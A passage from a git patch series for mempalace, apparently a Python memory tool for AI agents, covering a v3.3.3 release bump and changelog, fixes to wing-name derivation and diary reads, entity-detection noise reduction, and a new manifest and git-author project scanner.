"C:\\Users\\jp\\.claude\\projects\\-home-jp-Projects-myapp\\session.jsonl" + assert _wing_from_transcript_path(path) == "wing_myapp" + + +def test_wing_from_transcript_path_lowercases(): + path = "/home/jp/.claude/projects/-home-jp-Projects-MyProject/session.jsonl" + assert _wing_from_transcript_path(path) == "wing_myproject" + + # --- _log --- From 9947ad06dff0ea44170397060b3b90a69522527e Mon Sep 17 00:00:00 2001 From: Kunal Garhewal Date: Fri, 24 Apr 2026 03:49:18 +0530 Subject: [PATCH 34/61] fix: treat empty string as no filter in mempalace_search wing/room (#1097) * fix: treat empty string as no filter in mempalace_search wing/room * fix: also treat whitespace-only strings as no filter --- mempalace/mcp_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mempalace/mcp_server.py b/mempalace/mcp_server.py index 606ecfb..f4dc97c 100644 --- a/mempalace/mcp_server.py +++ b/mempalace/mcp_server.py @@ -285,7 +285,7 @@ def _get_cached_metadata(col, where=None): def _sanitize_optional_name(value: str = None, field_name: str = "name") -> str: """Validate optional wing/room-style filters.""" - if value is None: + if value is None or not value.strip(): return None return sanitize_name(value, field_name) From 102372b1798673ff9f8c9fbb8d7d49ffa25492db Mon Sep 17 00:00:00 2001 From: bensig <1872138+bensig@users.noreply.github.com> Date: Thu, 23 Apr 2026 16:44:22 -0700 Subject: [PATCH 35/61] release: v3.3.3 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Restore-integrity release. Unbreaks fresh `pip install mempalace` from v3.3.2 by re-tagging current develop, which carries both the plugin.json consumer (shipped in 3.3.2) and the matching mempalace-mcp entry point in pyproject.toml (added on develop ~10h after the 3.3.2 tag via #340 by @messelink). #1093 diagnosed by @jphein. Bumps (all 5 sources agree per Version Guard / CLAUDE.md): - mempalace/version.py 3.3.2 → 3.3.3 - pyproject.toml 3.3.2 → 3.3.3 - .claude-plugin/plugin.json 3.3.2 → 3.3.3 - .claude-plugin/marketplace.json 3.3.2 → 3.3.3 - .codex-plugin/plugin.json 3.3.2 → 3.3.3 - CHANGELOG.md new [3.3.3] entry No code changes. The fix for #1093 is already on develop via merged PRs #340, #1021, #851, #942, #833, #673, #661, #659, #1097, #1051, #1001, #945. Branch name intentionally outside the `release/*` ruleset so follow-up CI-fix commits aren't gated behind a nested PR. (Supersedes #1143 — closed for exactly that reason after it missed 3 of 5 version files.) Smoke-tested locally from a fresh develop clone: grep mempalace-mcp pyproject.toml .claude-plugin/plugin.json # both ✓ python -m build --wheel # ✓ pip install …-py3-none-any.whl # ✓ which mempalace-mcp # ✓ mempalace-mcp --help # ✓ --- .claude-plugin/marketplace.json | 2 +- .claude-plugin/plugin.json | 2 +- .codex-plugin/plugin.json | 2 +- CHANGELOG.md | 29 +++++++++++++++++++++++++++++ mempalace/version.py | 2 +- pyproject.toml | 2 +- 6 files changed, 34 insertions(+), 5 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index be85be3..aa15e5b 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -9,7 +9,7 @@ "name": "mempalace", "source": "./.claude-plugin", "description": "AI memory system — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, guided setup.", - "version": "3.3.2", + "version": "3.3.3", "author": { "name": "milla-jovovich" } diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json index 89b1db6..a1b69a6 100644 --- a/.claude-plugin/plugin.json +++ b/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "mempalace", - "version": "3.3.2", + "version": "3.3.3", "description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.", "author": { "name": "milla-jovovich" diff --git a/.codex-plugin/plugin.json b/.codex-plugin/plugin.json index dc45c53..16b66bb 100644 --- a/.codex-plugin/plugin.json +++ b/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "mempalace", - "version": "3.3.2", + "version": "3.3.3", "description": "Give your AI a memory — mine projects and conversations into a searchable palace. 19 MCP tools, auto-save hooks, and guided setup.", "author": { "name": "milla-jovovich" diff --git a/CHANGELOG.md b/CHANGELOG.md index 483b8aa..c5dd04a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,35 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), --- +## [3.3.3] — 2026-04-23 + +### Bug Fixes + +- **Install regression** — `mempalace-mcp` console script is now declared in `pyproject.toml` alongside `.claude-plugin/plugin.json`'s reference to it. In v3.3.2 the two drifted apart (plugin.json shipped the new `"command": "mempalace-mcp"` form before the matching entry point landed), so every fresh `pip install mempalace==3.3.2` produced a Claude Code plugin config pointing at a binary that wasn't installed. (#1093, #340) +- Restore silent-save visibility after the Claude Code 2.1.114 client regression — production transcript saves were failing silently until this PR. (#1021) +- Paginate `status`-path metadata fetches so large palaces don't trip SQLite variable limits. (#851) +- Resolve the Claude plugin hook runner across platform / plugin-dir variations; previously broke on Windows and some macOS layouts. (#942) +- Real `python3` resolution for `.sh` hooks with a `MEMPAL_PYTHON` override path. (#833) +- Add optional `wing` parameter to `tool_diary_write` / `tool_diary_read` and derive per-project wing from the Claude Code transcript path when writing from the stop hook — diary entries from different projects no longer collapse into a shared default wing. (#659) +- Treat empty string as "no filter" in `mempalace_search` `wing`/`room`; LLM agents that default to filling every optional parameter with `""` no longer get bounced with `must be a non-empty string`. (#1097, #1084) + +### Improvements + +- **Deterministic hook saves.** Save hook now uses a silent Python API path, so successive hook invocations produce reproducible results and zero data loss on the hot path. (#673) +- **Graph cache with write-invalidation** inside `build_graph()` — warm-path calls no longer rebuild the palace-graph per request. (#661) + +### Added + +- i18n: Belarusian translation. (#1051) +- i18n: entity detection for German, Spanish, and French locales. (#1001) +- i18n: Traditional + Simplified Chinese entity detection. (#945) + +### Known — deferred to v3.3.4 + +- HNSW parallel-insert SIGSEGV when `hnsw:num_threads` is unset on collection creation (#974) — fix in-flight as #976, awaiting rebase against develop. + +--- + ## [3.3.2] — 2026-04-19 ### Bug Fixes diff --git a/mempalace/version.py b/mempalace/version.py index 69e6e11..7f40b31 100644 --- a/mempalace/version.py +++ b/mempalace/version.py @@ -1,3 +1,3 @@ """Single source of truth for the MemPalace package version.""" -__version__ = "3.3.2" +__version__ = "3.3.3" diff --git a/pyproject.toml b/pyproject.toml index 80d6f96..8733ec3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "mempalace" -version = "3.3.2" +version = "3.3.3" description = "Give your AI a memory — mine projects and conversations into a searchable palace. No API key required." readme = "README.md" requires-python = ">=3.9" From 4f799afd76bfcf01b2079c93af19f66dad484cb6 Mon Sep 17 00:00:00 2001 From: bensig <1872138+bensig@users.noreply.github.com> Date: Thu, 23 Apr 2026 16:51:41 -0700 Subject: [PATCH 36/61] release(3.3.3): bump README version badge test_readme_badge_matches_version_py compares the version in the README badge URL against version.py. Missed it in the initial bump. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 97cb4b0..acbeb14 100644 --- a/README.md +++ b/README.md @@ -177,7 +177,7 @@ PRs welcome. See [CONTRIBUTING.md](CONTRIBUTING.md). MIT — see [LICENSE](LICENSE). -[version-shield]: https://img.shields.io/badge/version-3.3.2-4dc9f6?style=flat-square&labelColor=0a0e14 +[version-shield]: https://img.shields.io/badge/version-3.3.3-4dc9f6?style=flat-square&labelColor=0a0e14 [release-link]: https://github.com/MemPalace/mempalace/releases [python-shield]: https://img.shields.io/badge/python-3.9+-7dd8f8?style=flat-square&labelColor=0a0e14&logo=python&logoColor=7dd8f8 [python-link]: https://www.python.org/ From d1583750e8d90f92b9ae8da23227ba5be1a830a9 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Thu, 23 Apr 2026 23:39:23 -0300 Subject: [PATCH 37/61] fix(hooks): derive project wing from non-macOS transcript paths (#1145) _wing_from_transcript_path only matched '-Projects-' segments, so Linux users with code under ~/dev/, ~/code/, or ~/src/ fell through to the wing_sessions fallback and lost the per-project diary scoping introduced in #659. Broaden the heuristic to derive the project from the final dash-separated token of the encoded project-folder name under .claude/projects/. Keeps the legacy -Projects- regex as a secondary match for transcripts living outside the standard Claude Code path. Covers macOS Users layout, Linux dev/code layouts, and deeper nested source paths while preserving existing Projects/ behavior. --- mempalace/hooks_cli.py | 23 +++++++++++++++++++---- tests/test_hooks_cli.py | 18 ++++++++++++++++++ 2 files changed, 37 insertions(+), 4 deletions(-) diff --git a/mempalace/hooks_cli.py b/mempalace/hooks_cli.py index 4672e85..01eca3f 100644 --- a/mempalace/hooks_cli.py +++ b/mempalace/hooks_cli.py @@ -490,14 +490,29 @@ def _parse_harness_input(data: dict, harness: str) -> dict: def _wing_from_transcript_path(transcript_path: str) -> str: """Derive a project wing name from a Claude Code transcript path. - Claude Code stores transcripts at: + Claude Code encodes the project's source directory by replacing path + separators with dashes, producing folders like: ~/.claude/projects/-home--Projects-/session.jsonl - We extract and return ``wing_`` to match the - AAAK_SPEC convention (``wing_user``, ``wing_agent``, ``wing_code``, - ``wing_``…). Falls back to ``wing_sessions``. + ~/.claude/projects/-home--dev--/session.jsonl + ~/.claude/projects/-Users---/session.jsonl + + The project directory name is the final dash-separated token of the + encoded folder. Returns ``wing_`` (lowercased, spaces → ``_``). + Falls back to ``wing_sessions`` if the path does not match a Claude Code + project-folder layout. """ # Normalize path separators for cross-platform (Windows backslashes) normalized = transcript_path.replace("\\", "/") + # Primary: pull the encoded project folder out of ``.claude/projects/`` + # and take its last dash-separated token. + match = re.search(r"/\.claude/projects/-([^/]+)", normalized) + if match: + encoded = match.group(1) + project = encoded.rsplit("-", 1)[-1] + if project: + return f"wing_{project.lower().replace(' ', '_')}" + # Legacy fallback: explicit ``-Projects-`` segment, useful for + # transcripts not under the standard Claude Code projects dir. match = re.search(r"-Projects-([^/]+?)(?:/|$)", normalized) if match: project = match.group(1).lower().replace(" ", "_") diff --git a/tests/test_hooks_cli.py b/tests/test_hooks_cli.py index a5af129..c9a0022 100644 --- a/tests/test_hooks_cli.py +++ b/tests/test_hooks_cli.py @@ -324,6 +324,24 @@ def test_wing_from_transcript_path_lowercases(): assert _wing_from_transcript_path(path) == "wing_myproject" +def test_wing_from_transcript_path_non_projects_layout(): + # Linux users with code under ~/dev/, ~/src/, ~/code/ — no -Projects- segment. + # Project name is the final dash-separated token of the encoded folder. + path = "/home/igor/.claude/projects/-home-igor-dev-MemPalace-mempalace/session.jsonl" + assert _wing_from_transcript_path(path) == "wing_mempalace" + + +def test_wing_from_transcript_path_macos_users_layout(): + # macOS ~/ layout without a Projects/ segment. + path = "/Users/alice/.claude/projects/-Users-alice-code-MyApp/session.jsonl" + assert _wing_from_transcript_path(path) == "wing_myapp" + + +def test_wing_from_transcript_path_nested_deep(): + path = "/home/bob/.claude/projects/-home-bob-work-clients-acme-frontend/session.jsonl" + assert _wing_from_transcript_path(path) == "wing_frontend" + + # --- _log --- From 1fd16daac21fe889fc523e8bbbcd5e511cc06942 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Thu, 23 Apr 2026 23:39:34 -0300 Subject: [PATCH 38/61] fix(mcp): diary_read(wing='') spans all wings for agent (#1145) #1097 fixed mempalace_search to treat empty-string wing/room as no filter, matching how LLM agents default to filling every optional parameter with ''. The same pattern wasn't applied to diary_read: passing wing='' defaulted to wing_, siloing away entries that hooks had written to project-derived wings per #659. When wing is empty/omitted, filter only on agent + room=diary so callers get a unified view of the agent's journal across every wing it has written to. Explicit wing= continues to scope reads to that wing only. Adds test covering empty-wing read after writing to both the default and a non-default wing. --- mempalace/mcp_server.py | 26 +++++++++++++------------- tests/test_mcp_server.py | 34 ++++++++++++++++++++++++++++++++++ 2 files changed, 47 insertions(+), 13 deletions(-) diff --git a/mempalace/mcp_server.py b/mempalace/mcp_server.py index f4dc97c..2650e30 100644 --- a/mempalace/mcp_server.py +++ b/mempalace/mcp_server.py @@ -995,10 +995,11 @@ def tool_diary_read(agent_name: str, last_n: int = 10, wing: str = ""): Read an agent's recent diary entries. Returns the last N entries in chronological order — the agent's personal journal. - When ``wing`` is provided, reads from that wing instead of the - agent's default ``wing_`` wing. This lets hooks - direct diary reads to a project-specific wing derived from - the transcript path. + When ``wing`` is provided, reads only from that wing. When ``wing`` + is empty or omitted, returns entries from every wing this agent has + written to. Diary writes from hooks land in project-derived wings + (``wing_``), so requiring a specific wing on read would + silo those entries from agent-initiated reads. """ try: agent_name = sanitize_name(agent_name, "agent_name") @@ -1007,21 +1008,20 @@ def tool_diary_read(agent_name: str, last_n: int = 10, wing: str = ""): except ValueError as e: return {"error": str(e)} last_n = max(1, min(last_n, 100)) - if not wing: - wing = f"wing_{agent_name.lower().replace(' ', '_')}" col = _get_collection() if not col: return _no_palace() + # Build filter: always scope by agent + room=diary. Wing is optional — + # when empty, return entries across all wings for this agent (matches + # the #1097 empty-string-as-no-filter convention for LLM ergonomics). + conditions = [{"room": "diary"}, {"agent": agent_name}] + if wing: + conditions.insert(0, {"wing": wing}) + try: results = col.get( - where={ - "$and": [ - {"wing": wing}, - {"room": "diary"}, - {"agent": agent_name}, - ] - }, + where={"$and": conditions}, include=["documents", "metadatas"], limit=10000, ) diff --git a/tests/test_mcp_server.py b/tests/test_mcp_server.py index 899e6a7..480b6bd 100644 --- a/tests/test_mcp_server.py +++ b/tests/test_mcp_server.py @@ -740,6 +740,40 @@ class TestDiaryTools: assert entry1 in contents assert entry2 in contents + def test_diary_read_empty_wing_spans_all_wings(self, monkeypatch, config, palace_path, kg): + """diary_read(wing='') must return entries from every wing this agent + wrote to. Hooks write to project-derived wings (#659); a reader that + silos by default wing would never see those entries.""" + _patch_mcp_server(monkeypatch, config, kg) + _client, _col = _get_collection(palace_path, create=True) + del _client + from mempalace.mcp_server import tool_diary_read, tool_diary_write + + w1 = tool_diary_write( + agent_name="TestAgent", + entry="default-wing entry", + topic="general", + ) + w2 = tool_diary_write( + agent_name="TestAgent", + entry="project-wing entry", + topic="general", + wing="wing_someproject", + ) + assert w1["success"] and w2["success"] + + # Empty wing → return both entries + r = tool_diary_read(agent_name="TestAgent", wing="") + assert r["total"] == 2 + contents = {e["content"] for e in r["entries"]} + assert "default-wing entry" in contents + assert "project-wing entry" in contents + + # Explicit wing → return only that wing's entries + r_scoped = tool_diary_read(agent_name="TestAgent", wing="wing_someproject") + assert r_scoped["total"] == 1 + assert r_scoped["entries"][0]["content"] == "project-wing entry" + # ── Cache Invalidation (inode/mtime) ────────────────────────────────── From 6fcfd34aa4d472c1365e10204628270f0294feb5 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Thu, 23 Apr 2026 23:39:41 -0300 Subject: [PATCH 39/61] docs(changelog): log #1145 fixes in 3.3.3 section Two follow-up fixes from the v3.3.3 smoke test get folded into 3.3.3 before the tag is cut. Also syncs uv.lock with the 3.3.3 version bump merged via #1144. --- CHANGELOG.md | 2 ++ uv.lock | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c5dd04a..c320ae1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), - Real `python3` resolution for `.sh` hooks with a `MEMPAL_PYTHON` override path. (#833) - Add optional `wing` parameter to `tool_diary_write` / `tool_diary_read` and derive per-project wing from the Claude Code transcript path when writing from the stop hook — diary entries from different projects no longer collapse into a shared default wing. (#659) - Treat empty string as "no filter" in `mempalace_search` `wing`/`room`; LLM agents that default to filling every optional parameter with `""` no longer get bounced with `must be a non-empty string`. (#1097, #1084) +- Broaden `_wing_from_transcript_path` to handle Claude Code project folders without a `-Projects-` segment (e.g. `~/dev//`, `~/code/`). The project name is now derived from the final dash-separated token of the encoded folder, so Linux users with code outside `~/Projects/` get per-project diary scoping instead of falling through to `wing_sessions`. (#1145, follow-up to #659) +- `mempalace_diary_read(wing="")` now returns diary entries from every wing this agent has written to, matching the #1097 "empty-string as no filter" pattern. Previously defaulted to `wing_`, siloing entries that hooks wrote to project-derived wings. (#1145) ### Improvements diff --git a/uv.lock b/uv.lock index 49c28ff..5af54f1 100644 --- a/uv.lock +++ b/uv.lock @@ -1169,7 +1169,7 @@ wheels = [ [[package]] name = "mempalace" -version = "3.3.2" +version = "3.3.3" source = { editable = "." } dependencies = [ { name = "chromadb" }, From 6aebf458ff67793fa75cc803697f37ccbd4c9a14 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:20:32 -0300 Subject: [PATCH 40/61] fix(entity): reduce noise in regex-based detection The pattern-matching detector had several systematic false positives that crowded the init review with nonsense. Concrete fixes: - CamelCase extraction: add `[A-Z][a-z]+(?:[A-Z][a-z]+|[A-Z]{2,})+` to candidate patterns so `MemPalace`, `ChromaDB`, `OpenAI`, `ChatGPT` are visible. Previously `MemPalace` fragmented into `Mem` + `Palace`. - Dialogue `^NAME:\s` requires >=2 matches to count. A single metadata line like `Created: 2026-04-21` was scoring as dialogue and classifying `Created` as a person. - Versioned/hyphenated pattern tightened to `\b{name}[-_]v?\d+(?:\.\d+)*\b` (version-only). The previous `\b{name}[-v]\w+` matched `context-manager`, `multi-word`, etc. - every hyphenated compound. - Skip LICENSE/COPYING/NOTICE/AUTHORS/PATENTS files during scan. They produce pure-English-prose noise (`Contributor`, `Software`, `Covered`, `Before`). - Extra SKIP_DIRS: `.terraform`, `vendor`, `target`. - Expand stopword list with capitalized participles/descriptors that commonly appear at sentence start: `created`, `updated`, `extracted`, `processed`, `total`, `summary`, `auto`, `multi`, `hybrid`, `context`, `bridge`, `batch`, `local`, `native`, `never`, `before`, `after`, etc. - classify_entity: high-pronoun single-category signal now classifies as person. A diary's main character gets referenced with pronouns, not dialogue markers - requiring two signal categories demoted `Lu` (16 pronoun hits across 30 mentions) to uncertain. Gate on `pronoun_hits >= 5 AND pronoun_hits / frequency >= 0.2` so common sentence-start words (`Never`, `Before`) with incidental proximity stay uncertain. --- mempalace/entity_detector.py | 57 +++++++++++++++++++++++++++++------ mempalace/i18n/en.json | 14 +++++++-- tests/test_entity_detector.py | 27 +++++++++++++++++ 3 files changed, 86 insertions(+), 12 deletions(-) diff --git a/mempalace/entity_detector.py b/mempalace/entity_detector.py index 754c65d..2f2aae4 100644 --- a/mempalace/entity_detector.py +++ b/mempalace/entity_detector.py @@ -113,6 +113,23 @@ SKIP_DIRS = { ".next", "coverage", ".mempalace", + ".terraform", + "vendor", + "target", +} + +# Files whose content is boilerplate prose — poisons entity detection. +# Matched by stem (case-insensitive), with or without an extension. +SKIP_FILENAMES = { + "license", + "licence", + "copying", + "copyright", + "notice", + "authors", + "patents", + "third_party_notices", + "third-party-notices", } @@ -193,7 +210,7 @@ def _build_patterns(name: str, languages: tuple = ("en",)) -> dict: "person_verbs": _compile_each(sources["person_verb_patterns"]), "project_verbs": _compile_each(sources["project_verb_patterns"]), "direct": direct_compiled, - "versioned": re.compile(rf"\b{n}[-v]\w+", re.IGNORECASE), + "versioned": re.compile(rf"\b{n}[-_]v?\d+(?:\.\d+)*\b", re.IGNORECASE), "code_ref": re.compile(rf"\b{n}\.(py|js|ts|yaml|yml|json|sh)\b", re.IGNORECASE), } @@ -227,12 +244,19 @@ def score_entity(name: str, text: str, lines: list, languages=("en",)) -> dict: # --- Person signals --- - # Dialogue markers (strong signal) + # Dialogue markers (strong signal). + # The bare `^NAME:\s` colon-prefix pattern matches metadata lines like + # `Created: 2026-04-21`, so we require >= 2 hits for it to count as dialogue + # (real speaker markers repeat; single-line metadata doesn't). for rx in patterns["dialogue"]: matches = len(rx.findall(text)) - if matches > 0: - person_score += matches * 3 - person_signals.append(f"dialogue marker ({matches}x)") + if matches == 0: + continue + is_bare_colon = rx.pattern.endswith(r":\s") and not rx.pattern.endswith(r"[:\s]") + if is_bare_colon and matches < 2: + continue + person_score += matches * 3 + person_signals.append(f"dialogue marker ({matches}x)") # Person verbs for rx in patterns["person_verbs"]: @@ -328,17 +352,28 @@ def classify_entity(name: str, frequency: int, scores: dict) -> dict: signal_categories.add("addressed") has_two_signal_types = len(signal_categories) >= 2 - _ = signal_categories - {"pronoun"} # reserved for future thresholds + # Single-category pronoun signal still classifies as person when the + # evidence is overwhelming — a diary's main character is referenced + # with pronouns, not dialogue markers. Require both: many pronoun hits + # AND a high pronoun-to-frequency ratio so common sentence-start words + # (Never, Before, etc.) with incidental pronoun proximity don't qualify. + pronoun_hits = 0 + for s in scores["person_signals"]: + m = re.search(r"pronoun nearby \((\d+)x\)", s) + if m: + pronoun_hits = int(m.group(1)) + break + strong_pronoun_signal = pronoun_hits >= 5 and frequency > 0 and pronoun_hits / frequency >= 0.2 - if person_ratio >= 0.7 and has_two_signal_types and ps >= 5: + if person_ratio >= 0.7 and (has_two_signal_types and ps >= 5 or strong_pronoun_signal): entity_type = "person" confidence = min(0.99, 0.5 + person_ratio * 0.5) signals = scores["person_signals"] or [f"appears {frequency}x"] - elif person_ratio >= 0.7 and (not has_two_signal_types or ps < 5): - # Pronoun-only match — downgrade to uncertain + elif person_ratio >= 0.7: + # Weak single-category person signal — downgrade to uncertain entity_type = "uncertain" confidence = 0.4 - signals = scores["person_signals"] + [f"appears {frequency}x — pronoun-only match"] + signals = scores["person_signals"] + [f"appears {frequency}x — weak person signal"] elif person_ratio <= 0.3: entity_type = "project" confidence = min(0.99, 0.5 + (1 - person_ratio) * 0.5) @@ -560,6 +595,8 @@ def scan_for_detection(project_dir: str, max_files: int = 10) -> list: dirs[:] = [d for d in dirs if d not in SKIP_DIRS] for filename in filenames: filepath = Path(root) / filename + if filepath.stem.lower() in SKIP_FILENAMES: + continue ext = filepath.suffix.lower() if ext in PROSE_EXTENSIONS: prose_files.append(filepath) diff --git a/mempalace/i18n/en.json b/mempalace/i18n/en.json index 6a9dff9..39d9ac1 100644 --- a/mempalace/i18n/en.json +++ b/mempalace/i18n/en.json @@ -42,7 +42,7 @@ "action_pattern": "(?:built|fixed|wrote|added|pushed|measured|tested|reviewed|created|deleted|updated|configured|deployed|migrated)\\s+[\\w\\s]{3,30}" }, "entity": { - "candidate_pattern": "[A-Z][a-z]{1,19}", + "candidate_pattern": "[A-Z][a-z]+(?:[A-Z][a-z]+|[A-Z]{2,})+|[A-Z][a-z]{1,19}", "multi_word_pattern": "[A-Z][a-z]+(?:\\s+[A-Z][a-z]+)+", "person_verb_patterns": [ "\\b{name}\\s+said\\b", @@ -140,7 +140,17 @@ "agents", "tools", "others", "guards", "ethics", "regulation", "learning", "thinking", "memory", "language", "intelligence", "technology", "society", "culture", "future", "history", "science", - "model", "models", "network", "networks", "training", "inference" + "model", "models", "network", "networks", "training", "inference", + "created", "updated", "deleted", "added", "removed", "modified", + "extracted", "processed", "generated", "compiled", "launched", "installed", + "deployed", "executed", "loaded", "parsed", "validated", "configured", + "total", "summary", "covered", "included", "pending", "failed", "success", + "ready", "active", "disabled", "enabled", "available", "completed", + "auto", "multi", "mini", "micro", "meta", "super", "hybrid", + "context", "bridge", "batch", "local", "global", "native", "cloud", + "before", "after", "during", "often", "always", "never", + "project", "contributor", "software", + "backend", "frontend", "server", "client", "service", "app", "api" ] } } diff --git a/tests/test_entity_detector.py b/tests/test_entity_detector.py index f006270..afad4d7 100644 --- a/tests/test_entity_detector.py +++ b/tests/test_entity_detector.py @@ -148,6 +148,33 @@ def test_classify_entity_pronoun_only_is_uncertain(): assert result["type"] == "uncertain" +def test_classify_entity_high_pronoun_signal_is_person(): + """A diary's main character hit by many pronouns should still classify + as a person even with only the pronoun signal category. Example from + real data: `Lu` has 16 pronoun hits out of 30 mentions.""" + scores = { + "person_score": 32, + "project_score": 0, + "person_signals": ["pronoun nearby (16x)"], + "project_signals": [], + } + result = classify_entity("Lu", 30, scores) + assert result["type"] == "person" + + +def test_classify_entity_low_pronoun_proximity_is_uncertain(): + """Common sentence-start words (Never, Before) get a few pronouns nearby + incidentally. The ratio stays low (<20%), so they stay uncertain.""" + scores = { + "person_score": 4, + "project_score": 0, + "person_signals": ["pronoun nearby (2x)"], + "project_signals": [], + } + result = classify_entity("Never", 21, scores) + assert result["type"] == "uncertain" + + def test_classify_entity_mixed_signals(): scores = { "person_score": 5, From 9e7fa1ceb59ba4eee306f05a8d1ac50a2eaa0b49 Mon Sep 17 00:00:00 2001 From: Igor Lins e Silva <4753812+igorls@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:20:53 -0300 Subject: [PATCH 41/61] feat(init): scan manifests and git authors for real entity signal `mempalace init` previously leaned entirely on regex-based entity extraction from prose. That path works for text-only folders but wastes signal in any codebase: the project's own name is already in `package.json` / `pyproject.toml` / `Cargo.toml` / `go.mod`, and the people who worked on it are in `git log`. This adds `project_scanner.py`, which becomes the primary signal source when real signal is available, with the regex detector preserved as the fallback for prose-only folders (diaries, research notes, writing). What it does: - Walks the target directory, parses manifests for canonical project names, and detects git repos by the presence of a `.git` directory. - For each repo, reads `git log` for authors and filters obvious bots (`[bot]`, `dependabot`, `renovate`, `github-actions`, names ending in `bot`, `-autoroll`). Importantly does NOT filter `@users.noreply.github.com` - that's GitHub's privacy-protected human email, used by real contributors. - Resolves author aliases with a union-find: commits that share a name OR an email collapse into one person. Picks the most-frequent real-name variant as display, ignoring handles and single-token usernames. - Flags "mine" projects: user is top-5 committer OR has >=10% of commits OR >=20 commits. Ordered by user_commits in the UX. - `discover_entities()` merges scanner results with the regex detector case-insensitively (so `mempalace` from pyproject absorbs `MemPalace` from docs), and suppresses the regex `uncertain` bucket when real signal is already found - the user doesn't need to adjudicate prose noise when the answer is already in git. Integration: `cmd_init` now calls `discover_entities` instead of running the regex detector directly. Same output shape, so `confirm_entities` works unchanged. Ships with 39 new tests covering manifest parsing, bot filtering, union-find dedup, git repo discovery, scan integration, and merge/fallback behavior. Existing 56 regex-detector tests all pass. --- mempalace/cli.py | 33 +- mempalace/project_scanner.py | 623 ++++++++++++++++++++++++++++++++++ tests/test_project_scanner.py | 411 ++++++++++++++++++++++ uv.lock | 2 +- 4 files changed, 1051 insertions(+), 18 deletions(-) create mode 100644 mempalace/project_scanner.py create mode 100644 tests/test_project_scanner.py diff --git a/mempalace/cli.py b/mempalace/cli.py index d0da6e7..de40090 100644 --- a/mempalace/cli.py +++ b/mempalace/cli.py @@ -71,7 +71,8 @@ def _ensure_mempalace_files_gitignored(project_dir) -> bool: def cmd_init(args): import json from pathlib import Path - from .entity_detector import scan_for_detection, detect_entities, confirm_entities + from .entity_detector import confirm_entities + from .project_scanner import discover_entities from .room_detector_local import detect_rooms_local cfg = MempalaceConfig() @@ -85,25 +86,23 @@ def cmd_init(args): languages = cfg.entity_languages languages_tuple = tuple(languages) - # Pass 1: auto-detect people and projects from file content + # Pass 1: discover entities — manifests + git authors first, prose detection + # as supplement for names mentioned only in docs/notes. print(f"\n Scanning for entities in: {args.dir}") if languages_tuple != ("en",): print(f" Languages: {', '.join(languages_tuple)}") - files = scan_for_detection(args.dir) - if files: - print(f" Reading {len(files)} files...") - detected = detect_entities(files, languages=languages_tuple) - total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"]) - if total > 0: - confirmed = confirm_entities(detected, yes=getattr(args, "yes", False)) - # Save confirmed entities to /entities.json for the miner - if confirmed["people"] or confirmed["projects"]: - entities_path = Path(args.dir).expanduser().resolve() / "entities.json" - with open(entities_path, "w") as f: - json.dump(confirmed, f, indent=2) - print(f" Entities saved: {entities_path}") - else: - print(" No entities detected — proceeding with directory-based rooms.") + detected = discover_entities(args.dir, languages=languages_tuple) + total = len(detected["people"]) + len(detected["projects"]) + len(detected["uncertain"]) + if total > 0: + confirmed = confirm_entities(detected, yes=getattr(args, "yes", False)) + # Save confirmed entities to /entities.json for the miner + if confirmed["people"] or confirmed["projects"]: + entities_path = Path(args.dir).expanduser().resolve() / "entities.json" + with open(entities_path, "w") as f: + json.dump(confirmed, f, indent=2) + print(f" Entities saved: {entities_path}") + else: + print(" No entities detected — proceeding with directory-based rooms.") # Pass 2: detect rooms from folder structure detect_rooms_local(project_dir=args.dir, yes=getattr(args, "yes", False)) diff --git a/mempalace/project_scanner.py b/mempalace/project_scanner.py new file mode 100644 index 0000000..e078b6e --- /dev/null +++ b/mempalace/project_scanner.py @@ -0,0 +1,623 @@ +""" +project_scanner.py — Detect projects and people from real signal. + +For a codebase with build manifests or git history, this beats regex-based +entity detection by a wide margin: the project's own name is already written +down in package.json / pyproject.toml / Cargo.toml / go.mod, and the people +who worked on it are in `git log`. + +This module is used as the primary signal in `mempalace init`. The regex +detector in entity_detector.py stays as a fallback for prose-only folders +(notes, research, writing). + +Public: + scan(root) -> (projects, people) + to_detected_dict(projects, people) -> {people: [...], projects: [...], uncertain: []} +""" + +from __future__ import annotations + +import json +import os +import re +import subprocess +from dataclasses import dataclass, field +from pathlib import Path +from typing import Optional + +try: + import tomllib # Python 3.11+ +except ImportError: # pragma: no cover + tomllib = None # type: ignore + + +SKIP_DIRS = { + ".git", + "node_modules", + "__pycache__", + ".venv", + "venv", + "env", + "dist", + "build", + ".next", + "coverage", + ".terraform", + "vendor", + "target", + ".mempalace", + ".cache", + ".pytest_cache", + ".mypy_cache", + ".ruff_cache", +} + +MAX_DEPTH = 6 +MAX_COMMITS_PER_REPO = 1000 +GIT_TIMEOUT = 10 + + +# ==================== DATACLASSES ==================== + + +@dataclass +class ProjectInfo: + name: str + repo_root: Path + manifest: Optional[str] = None + has_git: bool = False + total_commits: int = 